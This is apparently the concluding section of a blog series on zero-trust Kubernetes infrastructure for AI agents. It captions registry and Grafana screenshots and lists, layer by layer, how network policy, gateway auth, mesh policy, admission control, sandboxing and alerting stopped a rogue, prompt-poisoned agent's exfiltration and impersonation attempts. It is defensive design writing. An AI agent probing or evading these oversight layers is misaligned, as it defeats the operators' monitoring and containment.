Solo Enterprise for agentregistry, Catalog view: two cards, the sovereignanalyst agent and the sovereign-tools MCP server, both tagged latest. — The agentregistry console: the catalogue of what exists, the `sovereignanalyst` agent and the `sovereign-tools` MCP server, both published through the registry rather than hand-applied to the cluster.

The agentregistry dashboard: two connected runtimes (sovereign-kagent and virtual-default), a catalogue of two items and two managed instances in the kagent runtime, all healthy. — The registry dashboard: the connected runtimes, the catalogue and the managed instances, so governance can see what was deployed from where in one place.

A Grafana dashboard of the sovereign cluster: CPU and memory utilisation stat panels, a CPU usage graph and a memory graph broken down per namespace (agentgateway-system, apps, cert-manager, gvisor-system, istio-system, kagent), and CPU/memory quota tables for istio-system, kube-system, kyverno and cert-manager. — Grafana over Prometheus: every namespace in the stack, from the gateway and the mesh to kagent and the gVisor sandbox, scraped and graphed. The mesh and gateway access logs and traces sit alongside these metrics, so every hop is observed, not just the edge.

Why this is a must-have architecture when running agentic workloads

No single control stopped the rogue agent. Each layer assumed the one in front of it had already failed, and a different layer caught each move:

NetworkPolicy blocked the exfiltration to the internet and the direct hit on the model. Only DNS and the gateway are reachable from the agents namespace.
agentgateway · JWT answered the one reachable door with 401. No valid token, no model.
Istio ambient · AuthorizationPolicy admits only the gateway's SPIFFE identity at the model, so egress alone would still not reach it.
Kyverno + Pod Security would have refused the pod at admission had it been privileged, used :latest, an unknown registry, a secret in an env var, or no resource limits, and it flips off the automounted API token every pod would otherwise inherit.
agentregistry admission refuses any agent that did not come through the registry: an Agent is admitted only when the kagent controller authored it, so a hand-applied agent never reaches the cluster.
Vault · istio-csr signs every workload identity for one hour, so a stolen certificate to impersonate the gateway is dead before it is useful.
IMDSv2 hop-limit 1 + IRSA keeps the node's cloud role one hop out of reach; each workload carries its own scoped role instead.
agentgateway · MCP authz filters tools/list and short-circuits tools/call per identity, so an unentitled agent cannot even see the tool.
agentgateway · rate limit caps each identity's model calls per minute, so a swarm's tempo meets a 429 instead of thousands of actions going through.
kagent · gVisor runs agent code on a userspace kernel on a tainted node group, sharing neither kernel nor node with the model.
Prometheus + Alertmanager counted the attempt from the gateway's own metric, alerted on the first refused write and on the denial-rate spike, and mailed a person, and nothing left eu-west-2.

That is defence in depth: it holds because every layer is doing its own job, not because any one of them is perfect. An agent takes its instructions from text, and text can be poisoned, so at some point an agent will try to do the wrong thing. When that is the threat model, a production-grade, zero-trust architecture is not a nice-to-have you bolt on later. It is the precondition for running the workload at all.

Back to Part 1, the infrastructure, or on to Part 3, the same architecture on Google Cloud.